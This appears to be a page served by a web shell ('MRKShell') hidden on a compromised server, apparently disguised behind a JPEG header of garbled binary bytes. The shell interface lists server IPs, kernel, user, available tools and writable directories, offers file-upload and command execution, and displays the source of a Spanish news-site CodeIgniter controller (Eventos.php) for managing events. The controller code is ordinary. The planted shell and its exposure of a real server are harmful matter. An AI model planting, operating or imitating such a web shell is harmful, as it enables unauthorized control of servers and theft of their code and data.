JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/hitadmin/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/hitadmin/application/controllers/Eventos.php
<?php

defined('BASEPATH') OR exit('No direct script access allowed');

class Eventos extends CI_Controller {

    function __construct() {
        parent::__construct();
        $this->load->model('notas_md');
        $this->load->model('secciones_md');
        $this->load->model('eventos_md');
        $this->load->model('encuestas_md');

        $this->load->model('nota_md');
        $this->load->model('nota_backup_md');
        $this->load->model('tag_md');
        $this->load->model('relacion_md');
        $this->load->model('relacion_Tag_md');
        $this->load->model('foto_md');
        $this->load->model('notasVisitas_md');
        $this->load->model('video_md');
        $this->load->model('agenda_md');
        $this->load->model('evento_md');
        $this->load->model('encuesta_md');
        /* Permisos */
        $this->data["permisos_efectivos"] = $this->permisos_lib->control();

        $this->user = $this->ion_auth->user()->row();
    }

    function index() {
        $this->data['eventos'] = $this->eventos_md->getUltimosEventos();

        $datos_plantilla["padre"] = ucwords("");
        $datos_plantilla["title"] = ucwords("Últimos Eventos");
        $datos_plantilla["contenido_main"] = $this->load->view('components/eventos/eventos_index', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function add() {
        $this->data['tipos'] = $this->codegen_model->get('tipo_evento', '*', "parent_id IS NULL");
        $this->data['tipossub'] = $this->secciones_md->getTiposSub();
        $this->data['subtipos'] = $this->secciones_md->getSubtipos();
        $this->data['lugares'] = $this->codegen_model->get('lugar', '*', "");

        if ($this->input->post('enviar_form')) {
            /* AUDITORÍA */
            $ip = $this->input->ip_address();

            if ($ip == "0.0.0.0") {
                $ip = "unknown";
            }

            // Limpio comillas del texto y agrego <> para delimitarlo
            $texto = '<texto>' . htmlentities($this->input->post('content'), ENT_QUOTES) . '</texto>';

            // Guardo si hay subcategoría
            if ($this->input->post('subcategory_id') == '') {
                $subcategory_id = 0;
            } else {
                $subcategory_id = $this->input->post('subcategory_id');
            }

            // Compruebo si está habilitada
            if ($this->input->post('habilitado') == true) {
                $habilitado = 1;
            } else {
                $habilitado = 0;
            }

            // Compruebo si está cancelada
            if ($this->input->post('estado') == true) {
                $estado = 0;
            } else {
                $estado = 1;
            }

            // Compruebo si hay fecha hasta
            if ($this->input->post('fechah') == true) {
                $fechah = date("Y-m-d", strtotime(str_replace("/", "-", $this->input->post('fechaf'))));
            } else {
                $fechah = NULL;
            }

            // Creo la URL
            $url_limpia = $this->varios_lb->limpiarurl($this->input->post('titulo'));
            $url_limpia = $this->varios_lb->amigar_cadena($url_limpia);
            $var = filter_var($url_limpia, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);
            $url = trim($var) . ".html";


            $data = array(
                'titulo' => $this->input->post('titulo'),
                'bajada' => $this->input->post('bajada'),
                'descripcion' => $texto,
                'habilitado' => $habilitado,
                'estado' => $estado,
                'fechaalta' => date('Y-m-d H:i:s', time()),
                'tipo' => $this->input->post('category_id'),
                'subtipo' => $subcategory_id,
                'url' => $url,
                'user_id' => $this->session->userdata('user_id')
            );
            $evento_id = $this->codegen_model->addReturnID('evento', $data);

            $dataagenda = array(
                'evento_id' => $evento_id,
                'fechai' => date("Y-m-d", strtotime(str_replace("/", "-", $this->input->post('fechai')))),
                'horai' => date("H:i", strtotime(str_replace("/", "-", $this->input->post('hora')))),
                'fechaf' => $fechah,
            );
            $this->codegen_model->add('agenda', $dataagenda);

            /* RELACIÓN LUGAR */
            $data_lugar = array(
                'evento_id' => $evento_id,
                'objeto_id' => $this->input->post('lugar'),
                'tipo' => 45,
                'descripcion' => 'Lugar Relacionado'
            );
            $this->codegen_model->add('relacion_evento', $data_lugar);
            /* AUDITORÍA LUGAR */
            $audit_lugar = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Relación de Lugar id " . $this->input->post('lugar') . " en el evento " . $evento_id . " desde formulario",
                'operacion_id' => 54,
                'consulta' => "Evento desde formulario",
                'objeto_id' => $evento_id,
                'ip_origen' => $ip,
                'tipo' => 2,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit_lugar);
            /* FIN AUDITORÍA LUGAR */
            /* FIN RELACIÓN LUGAR */

            /* RELACIÓN FOTO */
            if ($this->input->post('foto_id') != '') {

                $data_foto = array(
                    'evento_id' => $evento_id,
                    'objeto_id' => $this->input->post('foto_id'),
                    'tipo' => 30,
                    'descripcion' => $this->input->post('epigrafe')
                );
                $this->codegen_model->add('relacion_evento', $data_foto);
                /* AUDITORÍA FOTO */
                $audit_foto = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga de foto id " . $this->input->post('foto_id') . " en el evento " . $evento_id . " desde formulario",
                    'operacion_id' => 4,
                    'consulta' => "Evento desde formulario",
                    'objeto_id' => $evento_id,
                    'ip_origen' => $ip,
                    'tipo' => 2,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_foto);
                /* FIN AUDITORÍA FOTO */
            }
            /* FIN RELACIÓN FOTO */

            /* VIDEO */
            if ($this->input->post('video') != '') {
                $url = $this->input->post('video');
                $buscar_cod = strpos($url, 'youtu.be');
                if ($buscar_cod == false) {
                    $cod_separado = explode('=', $url);
                    $codigo = $cod_separado[1];
                } else {
                    $cod_separado = explode('/', $url);
                    $codigo = $cod_separado[3];
                }

                /* Guardo el video */
                $data_video = array(
                    'tipo' => 1,
                    'video' => $url,
                    'codigo' => $codigo,
                    'titulo' => $this->input->post('desv'),
                    'habilitado' => 1,
                    'fechaAlta' => date("Y-m-d H:i:s"),
                    'usuario_id' => $this->session->userdata('user_id')
                );
                $video_id = $this->codegen_model->addReturnID('evideo', $data_video);

                /* Guardo la Relación */
                $data_rel_vid = array(
                    'evento_id' => $evento_id,
                    'objeto_id' => $video_id,
                    'tipo' => 2,
                    'descripcion' => $this->input->post('desv')
                );
                $this->codegen_model->add('relacion_evento', $data_rel_vid);

                /* AUDITORÍA VIDEO */
                $audit_video = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga del video id " . $video_id . " en el evento " . $evento_id . " desde formulario",
                    'operacion_id' => 46,
                    'consulta' => "Evento desde formulario",
                    'objeto_id' => $evento_id,
                    'ip_origen' => $ip,
                    'tipo' => 2,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_video);
                /* FIN AUDITORÍA VIDEO */
            }
            /* FIN VIDEO */

            /* AUDITORÍA EVENTO */
            $audit = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Alta del evento " . $evento_id . " desde formulario",
                'operacion_id' => 28,
                'consulta' => "Evento desde formulario",
                'objeto_id' => $evento_id,
                'ip_origen' => $ip,
                'tipo' => 2,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit);
            /* FIN AUDITORÍA EVENTO */

            /* AGREGAR FECHA */
            $i = 1;
            $contador = $this->input->post('contar');
            while ($i <= $contador) {
                $fecha = $this->input->post('fechan' . $i);
                $this->agregarfecha($evento_id, $fecha);
                $i++;
            }
            /* FIN AGREGAR FECHA */


            $messge = array('message' => 'Evento ingresada correctamente', 'class' => 'alert alert-success fade-in');
            $this->session->set_flashdata('agregar', $messge);

            if ($this->input->post('submit') == "guardar") {
                redirect(base_url() . 'eventos/edit/' . $evento_id);
            } elseif ($this->input->post('submit') == "finalizar") {
                redirect(base_url() . 'eventos');
            }
        }

        $datos_plantilla["padre"] = ucwords("Eventos");
        $datos_plantilla["title"] = ucwords("Agregar Evento");
        $datos_plantilla["contenido_main"] = $this->load->view('components/eventos/eventos_add', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function edit($id) {
        $this->data['result'] = $this->codegen_model->getEditCMS('evento', $id, 'id');
        $this->data['agenda'] = $this->codegen_model->getEditCMS('agenda', $id, 'evento_id');
        $this->data['n_foto'] = $this->eventos_md->getEventoFoto($id);
        $this->data['n_video'] = $this->eventos_md->getEventoVideo($id);
        $this->data['e_lugar'] = $this->eventos_md->getEventoLugar($id);
        $this->data['a_relacionados'] = $this->eventos_md->getArtistasRelacionados($id);

        $rel_lugar = $this->eventos_md->getEventoRelLugar($id);

        $this->data['tipos'] = $this->codegen_model->get('tipo_evento', '*', "parent_id IS NULL");
        $this->data['tipossub'] = $this->secciones_md->getTiposSub();
        $this->data['subtipos'] = $this->secciones_md->getSubtipos();
        $this->data['lugares'] = $this->codegen_model->get('lugar', '*', "");

        if ($this->input->post('form_cambiar')) {
            /* CONFIGURACIÓN PARA FORMULARIO */
            /* AUDITORÍA */
            $ip = $this->input->ip_address();

            if ($ip == "0.0.0.0") {
                $ip = "unknown";
            }

            // Limpio comillas del texto y agrego <> para delimitarlo
            $texto = '<texto>' . htmlentities($this->input->post('content'), ENT_QUOTES) . '</texto>';

            // Guardo si hay subcategoría
            if ($this->input->post('subcategory_id') == '') {
                $subcategory_id = 0;
            } else {
                $subcategory_id = $this->input->post('subcategory_id');
            }

            // Compruebo si está habilitada
            if ($this->input->post('habilitado') == true) {
                $habilitado = 1;
            } else {
                $habilitado = 0;
            }

            // Compruebo si está cancelado
            if ($this->input->post('estado') == true) {
                $estado = 0;
            } else {
                $estado = 1;
            }

            // Compruebo si hay fecha hasta
            if ($this->input->post('fechah') == true) {
                $fechah = date("Y-m-d", strtotime(str_replace("/", "-", $this->input->post('fechaf'))));
            } else {
                $fechah = NULL;
            }

            // Creo la URL
            $url_limpia = $this->varios_lb->limpiarurl($this->input->post('titulo'));
            $url_limpia = $this->varios_lb->amigar_cadena($url_limpia);
            $var = filter_var($url_limpia, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);
            $url = trim($var) . ".html";


            $data = array(
                'titulo' => $this->input->post('titulo'),
                'bajada' => $this->input->post('bajada'),
                'descripcion' => $texto,
                'habilitado' => $habilitado,
                'estado' => $estado,
                'fechamod' => date('Y-m-d H:i:s', time()),
                'tipo' => $this->input->post('category_id'),
                'subtipo' => $subcategory_id,
                'url' => $url
            );
            $this->codegen_model->edit('evento', $data, 'id', $id);

            $dataagenda = array(
                'evento_id' => $id,
                'fechai' => date("Y-m-d", strtotime(str_replace("/", "-", $this->input->post('fechai')))),
                'horai' => date("H:i", strtotime(str_replace("/", "-", $this->input->post('hora')))),
                'fechaf' => $fechah,
            );
            $this->codegen_model->edit('agenda', $dataagenda, 'evento_id', $id);

            /* RELACIÓN LUGAR */
            $data_lugar = array(
                'evento_id' => $id,
                'objeto_id' => $this->input->post('lugar'),
                'tipo' => 45,
            );
            $this->codegen_model->edit('relacion_evento', $data_lugar, 'id', $rel_lugar->id);
            /* FIN RELACIÓN LUGAR */

            /* SI SE EDITA LA DESCRIPCIÓN DE LA FOTO */
            if ($this->input->post('foto_id') == '') {
                $efoto = array(
                    'titulo' => $this->input->post('epi')
                );
                $this->codegen_model->edit('efoto', $efoto, 'id', $this->input->post('id_foto'));
            }
            /* FIN DE EDICIÓN FOTO */

            /* RELACIÓN FOTO */
            if ($this->input->post('foto_id') != '') {

                $data_foto = array(
                    'evento_id' => $id,
                    'objeto_id' => $this->input->post('foto_id'),
                    'tipo' => 30,
                    'descripcion' => $this->input->post('epigrafe')
                );
                $this->codegen_model->add('relacion_evento', $data_foto);
                /* AUDITORÍA FOTO */
                $audit_foto = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga de foto id " . $this->input->post('foto_id') . " en el evento " . $id . " desde formulario",
                    'operacion_id' => 4,
                    'consulta' => "Evento desde formulario",
                    'objeto_id' => $id,
                    'ip_origen' => $ip,
                    'tipo' => 2,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_foto);
                /* FIN AUDITORÍA FOTO */
            }
            /* FIN RELACIÓN FOTO */

            /* SI SE EDITA LA DESCRIPCIÓN DE LA VIDEO */
            if ($this->input->post('id_video') == '') {
                $evideo = array(
                    'titulo' => $this->input->post('desc_v')
                );
                $this->codegen_model->edit('evideo', $evideo, 'id', $this->input->post('id_video'));
            }
            /* FIN DE EDICIÓN VIDEO */

            /* VIDEO */
            if ($this->input->post('video') != '') {
                $url = $this->input->post('video');
                $buscar_cod = strpos($url, 'youtu.be');
                if ($buscar_cod == false) {
                    $cod_separado = explode('=', $url);
                    $codigo = $cod_separado[1];
                } else {
                    $cod_separado = explode('/', $url);
                    $codigo = $cod_separado[3];
                }

                /* Guardo el video */
                $data_video = array(
                    'tipo' => 1,
                    'video' => $url,
                    'codigo' => $codigo,
                    'titulo' => $this->input->post('desv'),
                    'habilitado' => 1,
                    'fechaAlta' => date("Y-m-d H:i:s"),
                    'usuario_id' => $this->session->userdata('user_id')
                );
                $video_id = $this->codegen_model->addReturnID('evideo', $data_video);

                /* Guardo la Relación */
                $data_rel_vid = array(
                    'evento_id' => $id,
                    'objeto_id' => $video_id,
                    'tipo' => 2,
                    'descripcion' => $this->input->post('desv')
                );
                $this->codegen_model->add('relacion_evento', $data_rel_vid);

                /* AUDITORÍA VIDEO */
                $audit_video = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga del video id " . $video_id . " en el evento " . $id . " desde formulario",
                    'operacion_id' => 46,
                    'consulta' => "Evento desde formulario",
                    'objeto_id' => $id,
                    'ip_origen' => $ip,
                    'tipo' => 2,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_video);
                /* FIN AUDITORÍA VIDEO */
            }
            /* FIN VIDEO */

            /* AUDITORÍA EVENTO */
            $audit = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Modificación del evento " . $id . " desde formulario",
                'operacion_id' => 51,
                'consulta' => "Evento desde formulario",
                'objeto_id' => $id,
                'ip_origen' => $ip,
                'tipo' => 2,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit);
            /* FIN AUDITORÍA EVENTO */

            /* AGREGAR FECHA */
            $i = 1;
            $contador = $this->input->post('contar');
            while ($i <= $contador) {
                $fecha = $this->input->post('fechan' . $i);
                $this->agregarfecha($id, $fecha);
                $i++;
            }
            /* FIN AGREGAR FECHA */

            $messge = array('message' => 'Evento editado correctamente', 'class' => 'alert alert-success fade-in');
            $this->session->set_flashdata('agregar', $messge);

            $this->_recargar_cache($id);

            if ($this->input->post('submit') == "actualizar") {
                redirect(base_url() . 'eventos/edit/' . $id);
            } elseif ($this->input->post('submit') == "finalizar") {
                redirect(base_url() . 'eventos', 'refresh');
            }
        }

        $datos_plantilla["padre"] = ucwords("Eventos");
        $datos_plantilla["title"] = ucwords("Editar Evento");
        $datos_plantilla["contenido_main"] = $this->load->view('components/eventos/eventos_edit', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function buscar($busqueda = '') {
        $this->data['tipos'] = $this->codegen_model->get('tipo_evento', '*', "parent_id IS NULL");
        $this->data['tipossub'] = $this->secciones_md->getTiposSub();
        $this->data['subtipos'] = $this->secciones_md->getSubtipos();

        if ($busqueda == '') {
            $this->data['eventos'] = '';
        } else {
            $this->data['eventos'] = $this->eventos_md->getBuscarEvento($busqueda);
            $this->data['cuentas'] = $this->eventos_md->getBuscarEvento($busqueda);
        }

        if ($this->input->post('enviar_form')) {
            redirect(base_url() . 'eventos/buscar/' . $this->input->post('buscar'));
        }

        $datos_plantilla["padre"] = ucwords("Eventos");
        $datos_plantilla["title"] = ucwords("Buscar Evento");
        $datos_plantilla["contenido_main"] = $this->load->view('components/eventos/eventos_buscar', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function delete() {
        $ID = $this->uri->segment(3);
        $this->codegen_model->delete('evento', 'id', $ID);
        redirect(base_url() . 'eventos/');

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Eliminación del evento id $ID desde tabla",
            'operacion_id' => 52,
            'consulta' => "Evento desde tabla",
            'objeto_id' => $ID,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */
        /* FIN AUDITORÍA */
    }

    function habilitar() {
        $id = $this->input->post('id');
        $data = array(
            'habilitado' => $this->input->post('hab'),
            'fechamod' => date('Y-m-d H:i:s', time())
        );
        $this->codegen_model->edit('evento', $data, 'id', $id);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Cambio de estado de Habilaticón del evento id $id desde tabla",
            'operacion_id' => 51,
            'consulta' => "Evento desde tabla",
            'objeto_id' => $id,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */
    }

    function editartitulo() {
        $valores = filter_input_array(INPUT_POST);

        $id = substr($valores['evento_id'], 0, -1);

        $data = array(
            'titulo' => $valores['titulo'],
            'fechamod' => date('Y-m-d H:i:s', time())
        );
        $this->codegen_model->edit('evento', $data, 'id', $id);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Cambio de título del evento id " . $id . " desde tabla",
            'operacion_id' => 51,
            'consulta' => "Evento desde tabla",
            'objeto_id' => $id,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */
    }

    function cargararchivo() {

        $rutaArchivo = $this->genesis_lb->subirArchivoEvento(); //Obtengo la ruta donde guardo el archivo
        // Include the editor SDK.
        include FROALA_PATH . 'editor-php-sdk/lib/autoload.php';

        if (version_compare(PHP_VERSION, '5.4.0', '<')) {
            throw new Braintree_Exception('PHP version >= 5.4.0 required');
        }

        try {
            $response = FroalaEditor_File::upload2($rutaArchivo);
            echo stripslashes(json_encode($response));
        }//fin del try
        catch (Exception $e) {
            http_response_code(404);
        }
    }

    function buscarentidad($texto) {
        //reemplazo los caracteres especiales que vienen en HEXADECIMAL a su equivalente
        $texto = str_replace('%22', '"', $texto);
        $texto = str_replace('%20', ' ', $texto);
        $texto = str_replace('%E2%80%9C', '“', $texto);

        $related = $this->eventos_md->getEntidad($texto);
        if (count($related) > 0) {
            header("HTTP/1.1 200 OK");
            header('Content-Type: application/json');
            $datos = array('search' => $related, 'r' => count($related));
            die(json_encode($datos, JSON_FORCE_OBJECT));
        } else {
            header("HTTP/1.1 304 OK");
            header('Content-Type: application/json');
            $datos = array('result' => 'No se encontraron resultados');
        }
    }

    function adderelacion($id) {
        $relacionada = $this->input->post('id_entidad_rel');

        $data = array(
            'evento_id' => $id,
            'objeto_id' => $relacionada,
            'tipo' => 44,
            'descripcion' => "Entidad relacionada"
        );
        $this->codegen_model->add('relacion_evento', $data);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Nueva relación de la entidad " . $relacionada . " con el evento " . $id . " desde formulario",
            'operacion_id' => 53,
            'consulta' => "Evento desde formulario",
            'objeto_id' => $id,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */

        header("HTTP/1.1 200 OK");
        header('Content-Type: application/json');
        $datos = array('status' => 'OK');
        die(json_encode($datos, JSON_FORCE_OBJECT));
    }

    function borrarerelacion($id) {
        $relacionada = $this->input->post('id_entidad_rel');
        $res = $this->eventos_md->delRelacionEntidad($id, $relacionada);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();

        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }

        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Se eliminó entidad relacionada " . $relacionada . " con el evento " . $id . " desde formulario",
            'operacion_id' => 53,
            'consulta' => "Evento desde formulario",
            'objeto_id' => $id,
            'ip_origen' => $ip,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA */

        if ($res == TRUE) {
            header("HTTP/1.1 200 OK");
            header('Content-Type: application/json');
            $datos = array('status' => 'OK');
            die(json_encode($datos, JSON_FORCE_OBJECT));
        } else {
            header("HTTP/1.1 409 ERROR");
            header('Content-Type: application/json');
            $datos = array('status' => 'ERROR');
            die(json_encode($datos, JSON_FORCE_OBJECT));
        }
    }

    public function _recargar_cache($evento_id = 0) {
        $this->load->library('memcached_library');

        if ($evento_id > 0) {
            /* Me fijo si esta cacheada la nota */
            $nota_en_cache = $this->memcached_library->get('evento_' . $evento_id);
            if ($nota_en_cache) {
                $this->memcached_library->delete('evento_' . $evento_id);
            }
            /*             * ********Fin Cache************** */

            // Buscamos cache de fotos
            $fotos_en_cache = $this->memcached_library->get('evento_' . $evento_id . '_fotos');
            if ($fotos_en_cache) {
                $this->memcached_library->delete('evento_' . $evento_id . '_fotos');
            }
            // Fin cache
        }
        /* Me fijo si UM */
        $um_en_cache = $this->memcached_library->get('nota_seccion_um');
        if ($um_en_cache)
            $this->memcached_library->delete('nota_seccion_um');
        /*         * ********Fin Cache************** */
    }

    function agregarfecha($id, $fechai) {
        $evento = $this->codegen_model->getEditCMS('evento', $id, 'id');
        $agenda = $this->codegen_model->getEditCMS('agenda', $id, 'evento_id');
        $relacionados = $this->codegen_model->get('relacion_evento', '*', 'evento_id=' . $id);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();
        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }
        /* FIN AUDITORÍA */

        /* DUPLICO EVENTO */
        $data = array(
            'titulo' => $evento->titulo,
            'descripcion' => $evento->descripcion,
            'habilitado' => 0,
            'fechaalta' => date('Y-m-d H:i:s', time()),
            'tipo' => $evento->tipo,
            'subtipo' => $evento->subtipo,
            'url' => $evento->url,
            'user_id' => $this->session->userdata('user_id')
        );
        $evento_id = $this->codegen_model->addReturnID('evento', $data);

        $dataagenda = array(
            'evento_id' => $evento_id,
            'fechai' => date("Y-m-d", strtotime(str_replace("/", "-", $fechai))),
            'horai' => $agenda->horai,
            'fechaf' => $agenda->fechaf,
        );
        $this->codegen_model->add('agenda', $dataagenda);
        /* FIN DUPLICO EVENTO */

        /* DUPLICO RELACIONADOS */
        foreach ($relacionados as $rel) {
            $datarel = array(
                'evento_id' => $evento_id,
                'tipo' => $rel->tipo,
                'objeto_id' => $rel->objeto_id,
                'descripcion' => $rel->descripcion,
            );
            $this->codegen_model->add('relacion_evento', $datarel);
        }
        /* FIN DUPLICO RELACIONADOS */

        /* AUDITORÍA DUPLICACIÓN */
        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Se agregó fecha para evento " . $id . ". Nuevo evento " . $evento_id . " creado desde formulario",
            'operacion_id' => 55,
            'consulta' => "Evento desde formulario",
            'objeto_id' => $id,
